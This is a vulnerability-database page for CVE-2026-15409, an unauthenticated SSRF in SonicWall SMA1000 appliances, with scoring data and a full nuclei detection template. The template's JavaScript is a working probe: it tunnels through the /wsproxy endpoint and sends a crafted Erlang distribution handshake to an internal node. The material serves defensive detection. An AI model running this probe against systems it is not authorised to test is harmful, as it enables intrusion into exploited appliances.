HexBrain

Browse / CVEs / CVE-2026-15409

CVE-2026-15409· sonicwall / sma1000· CWE-918

SonicWall SMA1000 - Server-Side Request Forgery

Exploited in the wild. Listed by CISA on 2026-07-14; known to be used by ransomware.

criticalseverity
10CVSS score
6.8%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

SMA1000 Appliance Work Place interface contains a server side request forgery caused by improper request validation, letting remote unauthenticated attackers make requests to unintended locations, exploit requires no special privileges.

Impact

Remote attackers can make the appliance send requests to unintended locations, potentially accessing internal resources or causing further attacks.

Fix

Update to the latest version.

How to confirm it

Positive when: contains in response "101 Switching Protocols" AND contains in response "[DETECTION] Erlang distribution node"

Run it with nuclei: nuclei -id CVE-2026-15409 -u <target>

The full check
id: CVE-2026-15409

info:
  name: SonicWall SMA1000 - Server-Side Request Forgery
  author: DhiyaneshDk,rapid7
  severity: critical
  description: |
    SMA1000 Appliance Work Place interface contains a server side request forgery caused by improper request validation, letting remote unauthenticated attackers make requests to unintended locations, exploit requires no special privileges.
  impact: |
    Remote attackers can make the appliance send requests to unintended locations, potentially accessing internal resources or causing further attacks.
  remediation: |
    Update to the latest version.
  reference:
    - https://www.rapid7.com/blog/post/etr-rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410/
    - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-15409
    - https://github.com/remmons-r7/rapid7-CVE-2026-15409
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-15409
    cwe-id: CWE-918
    epss-score: 0.06795
    epss-percentile: 0.94052
  metadata:
    verified: true
    max-request: 1
    vendor: sonicwall
    product: sma1000
    shodan-query: http.html:"workplace" "SMA"
  tags: cve,cve2026,sonicwall,sma,ssrf,rce,kev,vkev

javascript:
  - code: |
      var m = require("nuclei/net");

      function toHex(bytes) {
        var h = "";
        for (var i = 0; i < bytes.length; i++) {
          var v = bytes[i].toString(16);
          h += (v.length === 1 ? "0" : "") + v;
        }
        return h;
      }

      function toBase64(bytes) {
        var alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
        var out = "";
        var n = bytes.length;
        for (var i = 0; i < n; i += 3) {
          var b0 = bytes[i];
          var b1 = (i + 1 < n) ? bytes[i + 1] : 0;
          var b2 = (i + 2 < n) ? bytes[i + 2] : 0;
          out += alpha[b0 >> 2];
          out += alpha[((b0 & 0x03) << 4) | (b1 >> 4)];
          out += (i + 1 < n) ? alpha[((b1 & 0x0f) << 2) | (b2 >> 6)] : "=";
          out += (i + 2 < n) ? alpha[b2 & 0x3f] : "=";
        }
        return out;
      }

      function buildWSTextFrame(text) {
        var mask = [0x37, 0xfa, 0x21, 0x3d];
        var len = text.length;
        var frame = [0x81]; // FIN=1, RSV=0, opcode=1 (text)
        if (len < 126) {
          frame.push(0x80 | len);
        } else {
          frame.push(0x80 | 126);
          frame.push((len >> 8) & 0xff);
          frame.push(len & 0xff);
        }
        frame.push(mask[0]); frame.push(mask[1]);
        frame.push(mask[2]); frame.push(mask[3]);
        for (var i = 0; i < len; i++) {
          frame.push(text.charCodeAt(i) ^ mask[i % 4]);
        }
        return toHex(frame);
      }

      var responseOutput = "";
      var ssrfConfirmed = "false";
      var debugStatusHex = "";

      try {
        var conn = m.OpenTLS("tcp", Host + ":" + Port);
        conn.SetTimeout(10);

        var wsUpgradeReq = (
          "GET /wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050 HTTP/1.1\r\n" +
          "Host: " + Host + "\r\n" +
          "Upgrade: websocket\r\n" +
          "Connection: Upgrade\r\n" +
          "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n" +
          "Sec-WebSocket-Version: 13\r\n" +
          "Sec-WebSocket-Protocol: binary\r\n" +
          "User-Agent: SMA Connect Agent\r\n" +
          "\r\n"
        );
        conn.Send(wsUpgradeReq);

        var httpResp = conn.RecvString(4096);
        responseOutput = httpResp.substring(0, 400);

        if (httpResp.indexOf("101") === -1) {
          conn.Close();
          Export("response", responseOutput);
          Export("ssrf_confirmed", "false");
          return;
        }

        try {
          conn.SetTimeout(2);
          conn.RecvHex(7);   // consume the 7-byte SMA_READY_FRAME
          conn.SetTimeout(10);
        } catch (readyErr) {
          conn.SetTimeout(10);
        }

        var erlPacket = [
          0x00, 0x1f,                                           // length = 31
          0x4e,                                                 // tag 'N'
          0x00, 0x00, 0x00, 0x00, 0x01, 0x07, 0x0f, 0x94,     // FLAGS (64-bit BE)
          0x00, 0x00, 0x00, 0x00,                              // creation = 0
          0x00, 0x10,                                           // name_len = 16
          0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x40,           // "detect@"
          0x31, 0x32, 0x37, 0x2e, 0x30, 0x2e, 0x30, 0x2e, 0x31 // "127.0.0.1"
        ];

        var erlB64 = toBase64(erlPacket);
        var wsErlangFrame = buildWSTextFrame(erlB64);
        conn.SendHex(wsErlangFrame);

        var statusHex = conn.RecvHex(7);
        debugStatusHex = statusHex;
        conn.Close();

        var compactHex = statusHex.replace(/\s+/g, "");
        if (compactHex.indexOf("736f6b") !== -1) {
          ssrfConfirmed = "true";
          responseOutput += (
            "\n[DETECTION] Erlang distribution node on localhost:1050 responded " +
            "with status 'ok' via unauthenticated /wsproxy SSRF tunnel"
          );
        }

      } catch (e) {
        responseOutput += "\n[ERROR] " + e.toString();
        try { conn.Close(); } catch (ce) {}
      }

      Export("response", responseOutput);
      Export("ssrf_confirmed", ssrfConfirmed);
      Export("debug_status_hex", debugStatusHex);

    args:
      Host: "{{Host}}"
      Port: "443"

    matchers-condition: and
    matchers:
      - type: word
        part: response
        words:
          - "101 Switching Protocols"

      - type: word
        part: response
        words:
          - "[DETECTION] Erlang distribution node"

    extractors:
      - type: regex
        name: erlang_status_raw
        part: response
        regex:
          - 'debug_status_hex([0-9a-f ]+)'

References

Use this check only on systems you are authorised to test. Where the data comes from